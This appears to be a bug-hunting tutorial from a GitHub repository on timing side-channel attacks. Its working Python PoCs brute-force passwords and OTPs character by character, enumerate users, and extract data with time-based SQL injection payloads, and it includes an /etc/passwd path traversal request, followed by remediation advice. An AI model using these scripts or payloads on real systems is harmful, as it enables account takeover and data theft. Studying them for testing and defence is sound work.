mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 19:36:33 +00:00
1677a567e7
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
597 lines
16 KiB
Markdown
597 lines
16 KiB
Markdown
# Timing Attacks
|
|
|
|
## Description
|
|
Timing attacks are a type of side-channel attack where an attacker can discover information by analyzing the time it takes for a system to respond to different inputs. These attacks exploit variations in processing time to infer sensitive data such as valid usernames, password correctness, cryptographic keys, or internal system states.
|
|
|
|
## How Timing Attacks Work
|
|
When an application takes different amounts of time to process valid versus invalid inputs, attackers can measure these timing differences to gain information. For example:
|
|
- Valid username checks may take longer due to additional database queries
|
|
- Password verification may fail faster for wrong usernames than wrong passwords
|
|
- Token validation may reveal valid token formats through timing differences
|
|
- Cryptographic operations may leak information through processing time
|
|
|
|
## Common Vulnerabilities
|
|
|
|
### 1. **User Enumeration via Login Timing**
|
|
Login responses take different times for existing vs non-existing users.
|
|
|
|
### 2. **Password Verification Timing**
|
|
Password comparison stops at first wrong character (early return).
|
|
|
|
### 3. **Token Validation Timing**
|
|
Valid token format takes longer to process than invalid format.
|
|
|
|
### 4. **Cryptographic Key Discovery**
|
|
RSA, AES operations leak information through execution time.
|
|
|
|
### 5. **Database Query Timing**
|
|
Different query execution times reveal data existence.
|
|
|
|
### 6. **Cache Timing**
|
|
Cached vs uncached responses have different timing signatures.
|
|
|
|
### 7. **Session Validation Timing**
|
|
Valid session checks take longer than invalid session checks.
|
|
|
|
### 8. **OTP/PIN Verification Timing**
|
|
Character-by-character comparison reveals partial correctness.
|
|
|
|
## Common Attack Vectors
|
|
- Authentication endpoints (login, password reset)
|
|
- Token validation endpoints
|
|
- Search functionality
|
|
- Database queries
|
|
- Cryptographic operations
|
|
- Session management
|
|
- File existence checks
|
|
- Cache mechanisms
|
|
|
|
## Testing Methodology & PoC Examples
|
|
|
|
### PoC 1: User Enumeration via Login Timing
|
|
|
|
**Vulnerability:** Different response times for existing vs non-existing users.
|
|
|
|
**Steps to Test:**
|
|
1. Send login request with known existing username
|
|
2. Measure response time (e.g., 250ms)
|
|
3. Send login request with non-existing username
|
|
4. Measure response time (e.g., 50ms)
|
|
5. Significant difference indicates vulnerability
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
|
|
def measure_login_time(username, password):
|
|
start = time.time()
|
|
response = requests.post('https://example.com/login',
|
|
data={'username': username, 'password': password})
|
|
end = time.time()
|
|
return end - start
|
|
|
|
# Test with known existing user
|
|
existing_user_time = measure_login_time('admin', 'wrong_password')
|
|
print(f"Existing user time: {existing_user_time:.3f}s")
|
|
|
|
# Test with non-existing user
|
|
nonexistent_user_time = measure_login_time('nonexistent_user_12345', 'wrong_password')
|
|
print(f"Non-existing user time: {nonexistent_user_time:.3f}s")
|
|
|
|
# If difference is significant (>50ms), vulnerability exists
|
|
if abs(existing_user_time - nonexistent_user_time) > 0.05:
|
|
print("Timing attack vulnerability detected!")
|
|
```
|
|
|
|
**Request Example:**
|
|
```http
|
|
POST /login HTTP/1.1
|
|
Host: example.com
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username=admin&password=test123
|
|
```
|
|
|
|
**Mitigation:** Use constant-time comparison and always perform same operations regardless of user existence.
|
|
|
|
---
|
|
|
|
### PoC 2: Password Length Discovery via Timing
|
|
|
|
**Vulnerability:** Password verification time increases with correct prefix length.
|
|
|
|
**Steps to Test:**
|
|
1. Try passwords of different lengths
|
|
2. Measure response time for each
|
|
3. Longer correct prefixes take more time
|
|
4. Incrementally discover password character by character
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
import string
|
|
|
|
def test_password_timing(username, password):
|
|
times = []
|
|
for _ in range(10): # Multiple attempts for accuracy
|
|
start = time.time()
|
|
requests.post('https://example.com/login',
|
|
data={'username': username, 'password': password})
|
|
end = time.time()
|
|
times.append(end - start)
|
|
return sum(times) / len(times) # Average time
|
|
|
|
# Brute force password character by character
|
|
known_password = ""
|
|
for position in range(20): # Try up to 20 characters
|
|
best_char = None
|
|
longest_time = 0
|
|
|
|
for char in string.ascii_letters + string.digits:
|
|
test_password = known_password + char
|
|
avg_time = test_password_timing('admin', test_password)
|
|
|
|
if avg_time > longest_time:
|
|
longest_time = avg_time
|
|
best_char = char
|
|
|
|
if best_char:
|
|
known_password += best_char
|
|
print(f"Discovered: {known_password}")
|
|
else:
|
|
break
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 3: Token Validation Timing Attack
|
|
|
|
**Vulnerability:** Valid token format takes longer to validate.
|
|
|
|
**Steps to Test:**
|
|
1. Send requests with various token formats
|
|
2. Measure validation time
|
|
3. Valid format (even if expired) takes longer
|
|
4. Use timing to discover valid token structure
|
|
|
|
**Request Examples:**
|
|
```http
|
|
GET /api/validate?token=invalid_format HTTP/1.1
|
|
Host: example.com
|
|
# Fast response (5ms)
|
|
|
|
GET /api/validate?token=550e8400-e29b-41d4-a716-446655440000 HTTP/1.1
|
|
Host: example.com
|
|
# Slower response (50ms) - valid UUID format
|
|
```
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
|
|
tokens = [
|
|
'invalid',
|
|
'12345',
|
|
'abc-def-ghi',
|
|
'550e8400-e29b-41d4-a716-446655440000', # Valid UUID
|
|
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', # Valid JWT format
|
|
]
|
|
|
|
for token in tokens:
|
|
start = time.time()
|
|
response = requests.get(f'https://example.com/api/validate?token={token}')
|
|
elapsed = time.time() - start
|
|
print(f"Token: {token[:20]}... Time: {elapsed:.4f}s")
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 4: Database Query Timing (SQL Timing Attack)
|
|
|
|
**Vulnerability:** Different query execution times reveal data.
|
|
|
|
**Steps to Test:**
|
|
1. Inject time-based SQL payloads
|
|
2. Measure response time
|
|
3. If condition is true, response is delayed
|
|
4. Extract data bit by bit
|
|
|
|
**SQL Timing Payloads:**
|
|
```sql
|
|
' OR IF(1=1, SLEEP(5), 0) --
|
|
' OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
|
|
' AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0) --
|
|
admin' AND IF(LENGTH(password)>8, BENCHMARK(5000000,SHA1('test')), 0) --
|
|
```
|
|
|
|
**Request:**
|
|
```http
|
|
POST /search HTTP/1.1
|
|
Host: example.com
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
query=' OR IF(1=1, SLEEP(5), 0) --
|
|
```
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
|
|
def check_condition(condition):
|
|
payload = f"' OR IF({condition}, SLEEP(5), 0) --"
|
|
start = time.time()
|
|
requests.post('https://example.com/search', data={'query': payload})
|
|
elapsed = time.time() - start
|
|
return elapsed > 5 # True if condition is true
|
|
|
|
# Extract database name length
|
|
for length in range(1, 50):
|
|
if check_condition(f"LENGTH(DATABASE())={length}"):
|
|
print(f"Database name length: {length}")
|
|
break
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 5: Cache Timing Attack
|
|
|
|
**Vulnerability:** Cached responses are faster than uncached.
|
|
|
|
**Steps to Test:**
|
|
1. Request resource multiple times
|
|
2. First request is slow (cache miss)
|
|
3. Subsequent requests are fast (cache hit)
|
|
4. Use timing to discover accessed resources
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
|
|
def check_cache_timing(url):
|
|
# First request - potential cache miss
|
|
start = time.time()
|
|
requests.get(url)
|
|
first_time = time.time() - start
|
|
|
|
# Second request - potential cache hit
|
|
start = time.time()
|
|
requests.get(url)
|
|
second_time = time.time() - start
|
|
|
|
print(f"URL: {url}")
|
|
print(f"First: {first_time:.4f}s, Second: {second_time:.4f}s")
|
|
|
|
if second_time < first_time * 0.5:
|
|
print("Likely cached!")
|
|
return True
|
|
return False
|
|
|
|
# Test various resources
|
|
resources = [
|
|
'https://example.com/api/user/1',
|
|
'https://example.com/api/user/2',
|
|
'https://example.com/api/user/999',
|
|
]
|
|
|
|
for resource in resources:
|
|
check_cache_timing(resource)
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 6: OTP/PIN Brute Force via Timing
|
|
|
|
**Vulnerability:** Character-by-character OTP comparison.
|
|
|
|
**Steps to Test:**
|
|
1. Try OTPs with different first digits
|
|
2. Correct first digit takes slightly longer
|
|
3. Repeat for each position
|
|
4. Discover OTP digit by digit
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
|
|
def test_otp_timing(otp):
|
|
times = []
|
|
for _ in range(20): # Multiple measurements
|
|
start = time.time()
|
|
requests.post('https://example.com/verify-otp',
|
|
data={'otp': otp})
|
|
times.append(time.time() - start)
|
|
return sum(times) / len(times)
|
|
|
|
# Discover 6-digit OTP
|
|
discovered_otp = ""
|
|
for position in range(6):
|
|
best_digit = None
|
|
longest_time = 0
|
|
|
|
for digit in range(10):
|
|
test_otp = discovered_otp + str(digit) + "0" * (5 - position)
|
|
avg_time = test_otp_timing(test_otp)
|
|
|
|
if avg_time > longest_time:
|
|
longest_time = avg_time
|
|
best_digit = digit
|
|
|
|
discovered_otp += str(best_digit)
|
|
print(f"Discovered so far: {discovered_otp}")
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 7: File Existence Check via Timing
|
|
|
|
**Vulnerability:** File existence affects response time.
|
|
|
|
**Steps to Test:**
|
|
1. Request files that may exist
|
|
2. Existing files take longer (file I/O)
|
|
3. Non-existing files fail fast
|
|
4. Enumerate file structure via timing
|
|
|
|
**Request:**
|
|
```http
|
|
GET /download?file=../../../etc/passwd HTTP/1.1
|
|
Host: example.com
|
|
# Slower if file exists and is accessed
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 8: Session Validation Timing
|
|
|
|
**Vulnerability:** Valid sessions require more checks.
|
|
|
|
**Steps to Test:**
|
|
1. Send requests with various session IDs
|
|
2. Valid format sessions take longer to invalidate
|
|
3. Discover valid session ID patterns
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
import uuid
|
|
|
|
def check_session_timing(session_id):
|
|
start = time.time()
|
|
requests.get('https://example.com/api/data',
|
|
cookies={'SESSIONID': session_id})
|
|
return time.time() - start
|
|
|
|
# Test different session formats
|
|
session_times = {}
|
|
for _ in range(10):
|
|
# Random UUID
|
|
session_id = str(uuid.uuid4())
|
|
timing = check_session_timing(session_id)
|
|
session_times[session_id] = timing
|
|
print(f"Session: {session_id} Time: {timing:.4f}s")
|
|
|
|
# Sessions with longer times might have valid format
|
|
sorted_sessions = sorted(session_times.items(), key=lambda x: x[1], reverse=True)
|
|
print("\nSlowest (potentially valid format):")
|
|
for session, timing in sorted_sessions[:3]:
|
|
print(f"{session}: {timing:.4f}s")
|
|
```
|
|
|
|
---
|
|
|
|
### PoC 9: Cryptographic Timing Attack (RSA)
|
|
|
|
**Vulnerability:** RSA decryption time leaks private key information.
|
|
|
|
**Concept:**
|
|
- RSA operations time varies based on key bits
|
|
- Measure time for different ciphertext
|
|
- Statistical analysis reveals key bits
|
|
|
|
**Note:** This requires many measurements and statistical analysis. Real-world example: Bleichenbacher's attack.
|
|
|
|
---
|
|
|
|
### PoC 10: Rate Limiting Detection via Timing
|
|
|
|
**Vulnerability:** Rate limiting adds delay to responses.
|
|
|
|
**Steps to Test:**
|
|
1. Send requests rapidly
|
|
2. Measure response times
|
|
3. After threshold, responses become slower
|
|
4. Discover rate limit threshold
|
|
|
|
**Python Script:**
|
|
```python
|
|
import requests
|
|
import time
|
|
|
|
url = 'https://example.com/api/endpoint'
|
|
times = []
|
|
|
|
for i in range(100):
|
|
start = time.time()
|
|
response = requests.get(url)
|
|
elapsed = time.time() - start
|
|
times.append(elapsed)
|
|
print(f"Request {i+1}: {elapsed:.4f}s")
|
|
|
|
# Detect sudden increase in response time
|
|
if len(times) > 10:
|
|
avg_recent = sum(times[-10:]) / 10
|
|
avg_early = sum(times[:10]) / 10
|
|
if avg_recent > avg_early * 2:
|
|
print(f"Rate limit detected around request {i+1}")
|
|
break
|
|
```
|
|
|
|
---
|
|
|
|
## Tools for Testing
|
|
|
|
### 1. **Custom Python Scripts**
|
|
```python
|
|
import statistics
|
|
import requests
|
|
import time
|
|
|
|
def statistical_timing_attack(url, payloads):
|
|
results = {}
|
|
for payload in payloads:
|
|
times = []
|
|
for _ in range(50): # 50 measurements for accuracy
|
|
start = time.time()
|
|
requests.post(url, data={'input': payload})
|
|
times.append(time.time() - start)
|
|
|
|
# Calculate statistics
|
|
avg = statistics.mean(times)
|
|
stdev = statistics.stdev(times)
|
|
results[payload] = {'avg': avg, 'stdev': stdev}
|
|
|
|
return results
|
|
```
|
|
|
|
### 2. **Burp Suite Intruder**
|
|
- Use "Pitchfork" attack type
|
|
- Add "Response received" column
|
|
- Sort by response time
|
|
- Look for patterns
|
|
|
|
### 3. **Timing Attack Tools**
|
|
```bash
|
|
# Using cURL with timing
|
|
for i in {1..100}; do
|
|
curl -w "Time: %{time_total}s\n" -o /dev/null -s \
|
|
"https://example.com/api/check?username=user$i"
|
|
done
|
|
|
|
# Using Apache Bench
|
|
ab -n 1000 -c 10 https://example.com/login
|
|
|
|
# Using wrk for timing analysis
|
|
wrk -t12 -c400 -d30s https://example.com/api
|
|
```
|
|
|
|
### 4. **Statistical Analysis Tools**
|
|
```python
|
|
import numpy as np
|
|
import matplotlib.pyplot as plt
|
|
|
|
# Analyze timing data
|
|
times_existing_users = [0.245, 0.248, 0.251, 0.247, 0.249]
|
|
times_nonexistent_users = [0.048, 0.051, 0.049, 0.050, 0.047]
|
|
|
|
print(f"Existing users avg: {np.mean(times_existing_users):.4f}s")
|
|
print(f"Non-existing users avg: {np.mean(times_nonexistent_users):.4f}s")
|
|
|
|
# Plot histogram
|
|
plt.hist(times_existing_users, alpha=0.5, label='Existing')
|
|
plt.hist(times_nonexistent_users, alpha=0.5, label='Non-existing')
|
|
plt.legend()
|
|
plt.xlabel('Response Time (s)')
|
|
plt.ylabel('Frequency')
|
|
plt.title('Timing Attack - User Enumeration')
|
|
plt.show()
|
|
```
|
|
|
|
## Exploitation Impact
|
|
|
|
- **Critical:** Password/key extraction, cryptographic attacks
|
|
- **High:** User enumeration, session discovery, data extraction
|
|
- **Medium:** Information disclosure, system behavior mapping
|
|
- **Privacy Impact:** Reveals user existence, activity patterns
|
|
|
|
## Remediation
|
|
|
|
### 1. **Constant-Time Operations**
|
|
```python
|
|
# Bad - Early return
|
|
def check_password(input_password, stored_password):
|
|
if len(input_password) != len(stored_password):
|
|
return False
|
|
for i in range(len(input_password)):
|
|
if input_password[i] != stored_password[i]:
|
|
return False # Early return leaks information
|
|
return True
|
|
|
|
# Good - Constant-time comparison
|
|
import hmac
|
|
|
|
def check_password_secure(input_password, stored_password):
|
|
return hmac.compare_digest(input_password.encode(), stored_password.encode())
|
|
```
|
|
|
|
### 2. **Normalize Response Times**
|
|
```python
|
|
import time
|
|
import random
|
|
|
|
def login(username, password):
|
|
start_time = time.time()
|
|
|
|
# Perform authentication
|
|
result = authenticate(username, password)
|
|
|
|
# Add random delay to normalize timing
|
|
elapsed = time.time() - start_time
|
|
target_time = 0.5 # Fixed response time
|
|
if elapsed < target_time:
|
|
time.sleep(target_time - elapsed + random.uniform(0, 0.05))
|
|
|
|
return result
|
|
```
|
|
|
|
### 3. **Rate Limiting**
|
|
- Implement aggressive rate limiting on sensitive endpoints
|
|
- Use exponential backoff
|
|
- CAPTCHA after multiple attempts
|
|
|
|
### 4. **Identical Code Paths**
|
|
- Execute same operations for valid and invalid inputs
|
|
- Always query database even if username doesn't exist
|
|
- Always perform password hash comparison
|
|
|
|
### 5. **Timing Jitter**
|
|
```python
|
|
import random
|
|
import time
|
|
|
|
def add_timing_jitter():
|
|
time.sleep(random.uniform(0.01, 0.05))
|
|
```
|
|
|
|
### 6. **Blinding Techniques**
|
|
- Use blinding in cryptographic operations
|
|
- Add random delays
|
|
- Use secure libraries (e.g., libsodium)
|
|
|
|
### 7. **Monitoring and Detection**
|
|
- Monitor for unusual timing patterns
|
|
- Detect rapid sequential requests
|
|
- Alert on systematic timing probes
|
|
|
|
### 8. **Use Secure Libraries**
|
|
- Use constant-time comparison functions
|
|
- Use timing-safe cryptographic libraries
|
|
- Follow OWASP guidelines
|
|
|
|
## References
|
|
|
|
- [OWASP - Timing Attacks](https://owasp.org/www-community/attacks/Timing_attack)
|
|
- [NIST - Timing Attacks on Implementations](https://csrc.nist.gov/glossary/term/timing_attack)
|
|
- [Remote Timing Attacks are Practical](https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf)
|
|
- [Cache-Timing Attacks on AES](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf)
|
|
|
|
## Payloads
|
|
|
|
See `timing-attacks-payloads.txt` for a comprehensive list of timing attack payloads and test cases.
|